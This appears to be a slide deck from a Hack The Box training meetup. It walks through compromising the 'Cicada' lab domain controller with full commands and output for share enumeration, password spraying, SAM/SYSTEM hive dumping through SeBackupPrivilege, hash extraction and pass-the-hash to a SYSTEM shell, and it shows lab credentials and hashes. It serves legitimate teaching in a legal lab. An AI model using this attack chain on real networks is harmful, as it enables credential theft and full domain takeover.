



Hack The Box Meetup Onsite @ BDO



Hack The Box Meetup Onsite @ BDO



18:00	Door Opening
18:15 – 18:45	Intro and Setup
18:45 – 20:00	Hacking / Walkthrough
20:00 – 20:30	Break
20:30 – 21:45	Hacking / Walkthrough
21:45 – 22:00	Ending

Admin

- Wi-Fi: ???
- Food / drinks (input)
- Toilets (output)
- Pictures ok/nok?
- Slides: <https://slides.hackingnight.ch>



Hosts



Antoine Neuenschwander
Tech Lead Bug Bounty, Swisscom

Offensive Security

aka Ethical Hacking / White Hat Hacking

Understand Technology

Acknowledge there is no 100% security

Find Vulnerabilities

Contradict all Assumptions



Legal Aspects

Computer hacking is illegal, right?

Art. 143 bis Swiss Penal Code

Unauthorised access to a data processing system

Hack The Box

Provides lab environment to learn about attacker tactics



Gamification

Capture the Flag (CTF)

Hacking Competition

(warning: addictive)






HACKTHEBOX


419 virtual machines (boxes)

Hacking Setup


Option #1




Option #2



Option #3





Setup
Option
#2

VirtuaLab

Cloud-Based VM

Needs VPN setup

<https://github.com/antoinet/virtualab>

Kali VMs in the
Cloud

Remote
Access via
Browser

The screenshot displays the GitHub repository page for `antoinet/virtualab`. The browser's address bar shows the URL `https://github.com/antoinet/virtualab/`. The repository's README is visible, featuring the *Virtua Lab* logo and a description of the service. The architecture diagram illustrates the workflow from a user to the lab boxes.

Architecture Diagram:

```
graph LR; User((User)) --> DNS((DNS)); DNS --> LB[Load Balancer]; LB --> J[Jumphost]; J --> LBX[Lab Box]; J --> JI[Jumphost Image]; LBX --> LBI[Lab Box Image];
```


The diagram shows a sequence of components: a User icon, a DNS icon, a Load Balancer icon, a Jumphost icon, and a Lab Box icon (containing four smaller circle icons). Below the Jumphost and Lab Box are their respective image icons, labeled 'Jumphost Image' and 'Lab Box Image'. Arrows indicate the flow of traffic and data between these components.

Repository Details:

- README:** The page title is 'Virtua Lab'. The text states: 'Virtua Lab lets you build your own cloud virtual machine lab, whether you want to teach a class, train professionals, run a hackathon, host a hands-on-lab, etc. The lab infrastructure runs on DigitalOcean infrastructure. It consists of a jumphost running [Apache Guacamole](#) and as many lab boxes as you want (or can) spin up.'
- Architecture:** A section titled 'Architecture' containing the diagram described above.
- Right Sidebar:** Contains three workflow cards: 'Python application' (Create and test a Python application), 'Django' (Build and Test a Django Project), and 'Python package' (Create and test a Python package on multiple Python versions). Each card has a 'Configure' button. At the bottom of the sidebar are links for 'More workflows' and 'Dismiss suggestions'.

Connection to Attacker Machine

1. Visit remote.hackingnight.ch
2. Login with username **kali-X**
3. Password **bdo-X**



Typing @ Symbol

Sign in to Hack The Box

Email

johndoe@gmail.com

Password





Copy-Paste

- from Host to Guest (Kali)
- From Guest (Kali) to Host




Paste or copy selection in the text field




Download Hack The Box VPN Profile

Download VPN profile to
your Downloads folder



Connect to Hack The Box VPN

Open a terminal and execute:



```
kali@kali: ~/Downloads

File Actions Edit View Help

(kali@kali)-[~]
$ cd Downloads/

(kali@kali)-[~/Downloads]
$ sudo openvpn <file_name> .ovpn
```

The image shows a terminal window with a dark background. At the top, the title bar reads 'kali@kali: ~/Downloads'. Below the title bar is a menu bar with 'File', 'Actions', 'Edit', 'View', and 'Help'. The terminal prompt is '(kali@kali)-[~]'. The first command entered is '\$ cd Downloads/'. The second command is '\$ sudo openvpn <file_name> .ovpn', where '<file_name>' is highlighted in a blue box. The terminal window has a standard Linux desktop environment with a taskbar at the bottom showing various icons.



Setup
Option
#3


HTB PwnBox

Cloud-Based VM

Automatic VPN Setup

Connect to the Lab via HTB PwnBox


Select the PwnBox instead of VPN



Connect to the Lab via HTB PwnBox

Choose the nearest location


3




Connect to the Lab via HTB PwnBox

Start PwnBox & Open Desktop

4



Today on the Menu

4 Assigned 



Arctic

✗ · WINDOWS · EASY · 



REMOVE



Optimum

✗ · WINDOWS · EASY · 



REMOVE



Blue

✗ · WINDOWS · EASY · 



REMOVE



Cicada

✗ · WINDOWS · EASY · 



REMOVE



Walkthrough: Cicada

1. Active Directory Enumeration
2. Password Spraying
3. SeBackup Privilege Abuse
4. Pass-the-Hash Attack

Pwnage

Enumerate Shares as **guest**

Default password in **\\cicada.htb\HR\Notice from HR.txt**

Enumerate SIDs/Users → Password Spraying

Enumerate LDAP as **michael.wrightson** → find credentials

Enumerate Shares as **david.orelious**

Find credentials in **\\cicada.htb\DEV\Backup_script.ps1**

Foothold as **emily.oscars** → download registry hives (hashes)

Remote login as **Administrator** via Pass-the-Hash

/etc/hosts file

- Add the domain **precious.htb** to the **/etc/hosts** file
- Overrides DNS resolution

```
$ sudo nano /etc/hosts
```

And add the following entry:

```
10.10.11.XXX cicada.htb
```

Or:

```
$ echo 10.10.11.XXX cicada.htb | sudo tee -a /etc/hosts
```

Tooling



NetExec

Swiss army knife for pentesting
Windows/Active Directory environments.

<https://www.netexec.wiki/>



Impacket

Collection of Python classes for working
with network protocols. It provides low-
level programmatic access to the packets
and protocols (e.g. SMB1-3 and MSRPC)

<https://github.com/fortra/impacket>



Native Tools

Any other tools that do the job, e.g. from
the Samba project

<https://www.samba.org/>

The background is a dark, out-of-focus image of a network switch or patch panel. Several blue Ethernet cables are plugged into the ports, and their connectors are visible. In the background, there are several glowing yellow and orange lights, likely from the switch or other equipment, creating a bokeh effect. The overall color palette is dark blue and black with warm yellow and orange highlights.

#1 Network Scanning & File Share Enumeration

Application

Provides **network services** to applications

HTTP, FTP, SMTP, SSH, etc.

Transport

Ensures **reliable data transfer** between devices

TCP Port
1337

Internet

Routing of data packets within and between networks


IP Address
203.0.113.45

Network Access

Physical Transmission of Data

- Ethernet (LAN cable)
- Wi-Fi

MAC Address
48:2C:6A:1E:59:3F



TCP Ports

Numerical identifiers used to distinguish different services on a host.

16bit range from 0-65535

Service Enumeration using nmap

nmap = the network mapper

```
$ nmap <ip-address>
```

```
$ nmap 10.0.0.1
```

Advanced nmap options

Minimal rate (\geq packets / second)

```
$ nmap --min-rate=1000 <ip-address>
```

Timing template (0-5, higher is faster)

```
$ nmap -T4 <ip-address>
```

Scan specific ports

```
$ nmap -p21,22,80,100-200 <ip-address>
```

Scan all (65535) ports

```
$ nmap -p- <ip-address>
```

Determine service/version information


```
$ nmap -sV <ip-address>
```

Script scan (default nmap scripts)

```
$ nmap -sC <ip-address>
```

Port Nr	Name	Description
88	Kerberos	authentication protocol to securely verify user identities and grant access to network resources using ticket-based authentication
135, 593	Remote Procedure Call (RPC) / RPC over HTTP	communication protocol that enables inter-process communication between Windows applications and services across a network, usually for remote management. Examples: wmic, eventvwr.msc, services.msc, regedit.exe, schtasks.exe, certutil.exe
139	NetBIOS Session Service (SSN)	protocol used for network file and printer sharing on older Windows systems, facilitating session-based communication over NetBIOS
445	MS Directory Services / SMB over TCP/IP	primarily used for Microsoft Directory Services and for file sharing over the Server Message Block (SMB) protocol in Windows networks
389, 636, 3268, 3269	Lightweight Directory Access Protocol LDAP(S)	protocol used for querying and managing directory information within Active Directory, enabling authentication, authorization, and user management in a Windows network.
5985	Windows Remote Management	the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.

Server Message Block (SMB)





SMB PROTOCOL

Enumerate Hosts

Enumerate Null Sessions

Enumerate Guest Logon

Enumerate Hosts with
SMB Signing Not Required

Enumerate Active SMB Sessions

Enumerate Shares and Access

NEW Enumerate Network Interfaces

Enumerate Disks

Enumerate Logged on Users

Enumerate Domain Users

Enumerate Users
by Bruteforcing RID

Enumerate Domain Groups


Enumerate Local Groups

SMB PROTOCOL > ENUMERATION

Enumerate Shares and Access

Enumerate permissions on all shares

```
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --shares
```

 By far one of the most useful feature of nxc

If you want to filter only by readable or writable share

```
#~ nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --shares --filter-shares READ WRI
```



Previous
Enumerate Active SMB Sessions

Next

Enumerate Network Interfaces



Last updated 9 months ago

Enumerating SMB Shares

```
smbclient -L //cicada.htb
```

```
smbmap -H cicada.htb -u guest
```

```
impacket-smbclient asdf:''@cicada.htb
```

```
[eu-meetups-1-dhcp]-[10.10.14.9]-[antoinet@htb-d7cp7sumcv]-[~]
[*]$ nxc smb cicada.htb -u 'asdf' -p '' --shares
SMB      10.129.231.149  445    CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False)
SMB      10.129.231.149  445    CICADA-DC      [+] cicada.htb\asdf: (Guest)
SMB      10.129.231.149  445    CICADA-DC      [*] Enumerated shares
SMB      10.129.231.149  445    CICADA-DC      Share           Permissions      Remark
SMB      10.129.231.149  445    CICADA-DC      -----
SMB      10.129.231.149  445    CICADA-DC      ADMIN$          Remote Admin
SMB      10.129.231.149  445    CICADA-DC      C$              Default share
SMB      10.129.231.149  445    CICADA-DC      DEV
SMB      10.129.231.149  445    CICADA-DC      HR              READ
SMB      10.129.231.149  445    CICADA-DC      IPC$            Remote IPC
SMB      10.129.231.149  445    CICADA-DC      NETLOGON        Logon server share
SMB      10.129.231.149  445    CICADA-DC      SYSVOL          Logon server share
```

Default Windows Shares

Share Name	Description	Purpose
ADMIN\$	Administrative share for the Windows system root	Used for remote administration and management tasks.
C\$	Default administrative share for the C: drive	Provides access to the root of the C: drive for administrative purposes.
IPC\$	Inter-Process Communication share	Facilitates communication between processes on the network.
NETLOGON	Share used for logon scripts and policies	Supports user authentication and logon scripts in a domain environment.
SYSVOL	Share that contains public files for domain controllers	Stores group policy objects and scripts for user logon.

Downloading file from share

```
impacket-smbclient 'cicada.htb/guest'@cicada.htb -no-pass
```

```
[*]$ impacket-smbclient 'cicada.htb/guest'@cicada.htb -no-pass
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use hr
# ls
drw-rw-rw-      0  Fri Mar 15 01:26:17 2024  .
drw-rw-rw-      0  Thu Mar 14 07:21:29 2024  ..
-rw-rw-rw-    1266  Wed Aug 28 12:31:48 2024  Notice from HR.txt
# get Notice from HR.txt
# exit
[eu-meetups-1-dhcp]-[10.10.14.9]-[antoinet@htb-d7cp7sumcv]-[~/jxplorer]
[*]$ cat Notice\ from\ HR.txt


Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols,

Your default password is: Cicada$M6Corpb*@Lp#nZp!8
```


#2 SID Enumeration & Password Spraying

Local Security Authority (LSA) Remote Protocol



rpcclient

```
rpcclient -U 'cicada.htb/' cicada.htb
```

```
rpcclient> lookupnames administrator
```

```
rpcclient> lookupsids S-1-5-21-917908876-1423158569-  
3159038727-500
```

```
rpcclient> lsarenumids
```


No.	Time	Source	Destination	Protocol	Length	Info
70	13.883163662	10.129.231.149	10.10.14.9	LSARPC	216	lsa_OpenPolicy response
71	13.883232261	10.10.14.9	10.129.231.149	LSARPC	284	lsa_LookupSids request
72	13.891304366	10.129.231.149	10.10.14.9	LSARPC	352	lsa_LookupSids response
73	13.891479996	10.10.14.9	10.129.231.149	LSARPC	220	lsa_Close request

Transmission Control Protocol, Src Port: 445, Dst Port: 36004, Seq: 2499, Ack: 2759, Len: 300
 NetBIOS Session Service
 SMB2 (Server Message Block Protocol version 2)
 Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Response, Fragment: Single, FragLen: 184, Call: 7, Ctx:
 Local Security Authority, lsa_LookupSids
 Operation: lsa_LookupSids (15)
 [Request in frame: 71]
 Pointer to Domains (lsa_RefDomainList)
 Referent ID: 0x00020000
 Domains
 Count: 1
 Pointer to Domains (lsa_DomainInfo)
 Referent ID: 0x00020004
 Max Count: 1
 Domains
 Name
 Length: 12
 Size: 14
 Pointer to String (uint16): CICADA
 Pointer to Sid (dom_sid2)
 Referent ID: 0x0002000c
 Count: 4
 Sid: S-1-5-21-917908876-1423158569-3159038727 (Domain SID)
 Max Size: 32
 Pointer to Names (lsa_TransNameArray)
 Names
 Count: 1
 Pointer to Names (lsa_TranslatedName)
 Referent ID: 0x00020010
 Max Count: 1
 Names
 Sid Type: SID_NAME_USER (1)
 Name

```

0000 45 00 01 60 28 0a 40 00 7f 06 c8 64 0a 81 e7 95  E..`(.@. ...d...
0010 0a 0a 0e 09 01 bd 8c a4 de f9 04 e1 06 a2 69 59  ....iY
0020 80 18 20 04 be 44 00 00 01 01 08 0a 00 41 40 d0  ....D...A@
0030 3b 2c 82 09 00 00 01 28 fe 53 4d 42 40 00 01 00  ;,...( .SMB@...
0040 00 00 00 00 0b 00 01 00 11 00 00 00 00 00 00 00  ....
0050 0d 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00  ....
0060 4d 00 00 04 00 c0 00 00 00 00 00 00 00 00 00 00  M.....
0070 00 00 00 00 00 00 00 00 31 00 00 00 17 c0 11 00  ....1.....
0080 54 00 00 00 30 00 00 00 05 00 00 00 30 00 00 00  T...0...0...
0090 70 00 00 00 00 00 00 00 70 00 00 00 b8 00 00 00  p.....p.....
00a0 00 00 00 00 00 00 00 00 05 00 02 03 10 00 00 00  ....
00b0 b8 00 00 00 07 00 00 00 a0 00 00 00 00 00 00 00  ....
00c0 00 00 02 00 01 00 00 00 04 00 02 00 20 00 00 00  ....
00d0 01 00 00 00 0c 00 0e 00 08 00 02 00 0c 00 02 00  ....
00e0 07 00 00 00 00 00 00 00 06 00 00 00 43 00 49 00  ....C.I...
00f0 43 00 41 00 44 00 41 00 04 00 00 00 01 04 00 00  C.A.D.A.....
0100 00 00 00 05 15 00 00 00 8c 2d b6 36 29 ad d3 54  ....6)...T
0110 07 1b 4b bc 01 00 00 00 10 00 02 00 01 00 00 00  ..K.....
0120 01 00 00 00 1a 00 1a 00 14 00 02 00 00 00 00 00  ....
0130 0d 00 00 00 00 00 00 00 0d 00 00 00 41 00 64 00  ....A.d.
0140 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00  m.i.n.i.s.t.r.a.
0150 74 00 6f 00 72 00 00 00 01 00 00 00 00 00 00 00  t.o.r...
  
```

Windows Security Identifiers (SID)

S-1-5-21-917908876-1423158569-3159038727-1001

S	Indicates that this is an SID
1	Revision Level, typically 1
5	Identifier authority, e.g. NULL (0), World (1), Local (2), Creator (3), Non-Unique (4), NT-Authority (5)
21	Indicates that this is a domain SID
917...727	Sub-authorities that uniquely identifies the domain
1001	Relative Identifier (RID), uniquely identifies the user or the group

SID (RID) Enumeration

```
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass
```

```
nxc smb cicada.htb -u 'asdf' -p '' --rid-brute
```

SMB PROTOCOL > ENUMERATION

Enumerate Users by Bruteforcing RID

Enumerate users by bruteforcing the RID on the remote target

```
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --rid-brute
```

<https://www.netexec.wiki/smb-protocol/enumeration/enumerate-users-by-bruteforcing-rid>

Brute-Forcing Passwords

Username	Password
john.doe	12345
john.doe	Passw0rd
john.doe	Iloveyou
john.doe	jesus

Vertical Brute Force

Username	Password
john.doe	h4ckth3b0x
maria.meyer	h4ckth3b0x
kevin.miller	h4ckth3b0x
tony.stark	h4ckth3b0x

Horizontal Brute Force
aka password spraying

Password Spraying

```
nxc smb cicada.htb -u users.txt  
-p '<password>'
```

msfconsole


```
> use auxiliary/scanner/smb/smb_login  
> set RHOSTS cicada.htb  
> set USER_FILE ~/Desktop/user.txt  
> set SMBPass "<password>"  
> run
```

SMB PROTOCOL > AUTHENTICATION

Checking Credentials (Domain)


Authentication

- Failed logins result in a [-]
- Successful logins result in a [+] Domain\Username:Password

 Code execution results in a (Pwn3d!) added after the login confirmation. With SMB protocol, most likely your compromised user is in the local administrators group.

SMB	192.168.1.101	445	HOSTNAME	[+] DOMAIN\Username:Password (P
-----	---------------	-----	----------	---------------------------------

The following checks will attempt authentication to the entire /24 though a single target may also be used.


 If NTLM authentication is not available, Kerberos requires the hostname and domain name instead of an IP address.

User/Password

```
#~ nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE'
```

<https://www.netexec.wiki/smb-protocol/authentication/checking-credentials-domain>

Lightweight Directory Access Protocol (LDAP)



LDAP Queries

```
ldapsearch -H ldap://cicada.htb -b "DC=cicada,DC=htb" -D "michael.wrightson@cicada.htb" -w '<password>' "(objectClass=user)" dn description
```

<https://www.netexec.wiki/ldap-protocol/enumerate-users>

```
nxc ldap cicada.htb -u "michael.wrightson" -p "<password>" --users
```

LDAP PROTOCOL

Enumerate Users

To enumerate all users via LDAP:

```
nxc ldap $ip -u $user -p $password --users
```

To enumerate just the **active** users via LDAP:

```
nxc ldap $ip -u $user -p $password --active-users
```

#3 SeBackup Privilege Abuse

Enumerating SMB Shares (authenticated)

```
nxc smb cicada.htb -u 'david.orelious' -p '<password>' --shares
```

<https://www.netexec.wiki/smb-protocol/enumeration/enumerate-shares-and-access>

```
[*]$ nxc smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
```

```
SMB      10.129.231.149    445     CICADA-DC    [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
```

```
SMB      10.129.231.149    445     CICADA-DC    [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
```

```
SMB      10.129.231.149    445     CICADA-DC    [*] Enumerated shares
```

	Share	Permissions	Remark
	-----	-----	-----
	ADMIN\$		Remote Admin
	C\$		Default share
	DEV	READ	
	HR	READ	
	IPC\$	READ	Remote IPC
	NETLOGON	READ	Logon server share
	SYSVOL	READ	Logon server share

Downloading file from share

```
impacket-smbclient 'cicada.htb/david.orelious:<password>'@cicada.htb
```

```
└─ [*]$ impacket-smbclient 'cicada.htb/david.orelious:aRt$Lp#7t*VQ!3'@cicada.htb
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use dev
# ls
drw-rw-rw-      0  Wed Aug 28 12:27:31 2024 .
drw-rw-rw-      0  Thu Mar 14 07:21:29 2024 ..
-rw-rw-rw-    601  Wed Aug 28 12:28:22 2024 Backup_script.ps1
# get Backup_script.ps1
# exit
└─ [eu-meetups-1-dhcp]-[10.10.14.9]-[antoinet@htb-d7cp7sumcv]-[~/jxplorer]
└─ [*]$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

WinRM (Windows Remote Management)

aka SSH for Windows

<https://github.com/Hackplayers/evil-winrm>

```
evil-winrm -i cicada.htb -u emily.oscars -p '<password>'
```

```
└─ [★]$ evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
```

```
Evil-WinRM shell v3.5
```

```
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
```

```
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
```

```
Info: Establishing connection to remote endpoint
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
```

SeBackupPrivilege

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
=====	=====	=====
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

<https://infosecwriteups.com/elevating-privileges-with-sebackupprivilege-on-windows-107bd34befa2>

<https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/>

Backup and download registry hives

```
reg save hklm\sam sam  
download sam
```

Security Account Manager (SAM) registry hive
> Keeps hashed user passwords

```
reg save hklm\system system  
download system
```

SYSTEM registry hive
> Contains SYSKEY (aka Bootkey) used to decrypt the contents of the SAM hive

Recovering SAM contents

```
pypykatz registry --sam sam system
```

```
impacket-secretsdump -sam sam -system system local
```

```
└─ [★]$ pypykatz registry --sam sam system
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
===== SYSTEM hive secrets =====
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
===== SAM hive secrets =====
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

#6 Pass-the-Hash



PtH – Pass the Hash

```
evil-winrm -i cicada.htb -u Administrator -H "<hash>"
```

```
impacket-psexec 'cicada.htb/Administrator'@cicada.htb -hashes '<hashes>'
```

```
└─ [*]$ impacket-psexec 'cicada.htb/Administrator'@cicada.htb -hashes 'aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341'
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on cicada.htb.....
[*] Found writable share ADMIN$
[*] Uploading file SEsqAHCK.exe
[*] Opening SVCManager on cicada.htb.....
[*] Creating service KOKB on cicada.htb.....
[*] Starting service KOKB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2700]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```


Thanks for your Participation !
You did Awesome !!!

Next Meetup **0x0A Onsite @ Zürcher Kantonalbank, March 20th 2025**



HACKTHEBOX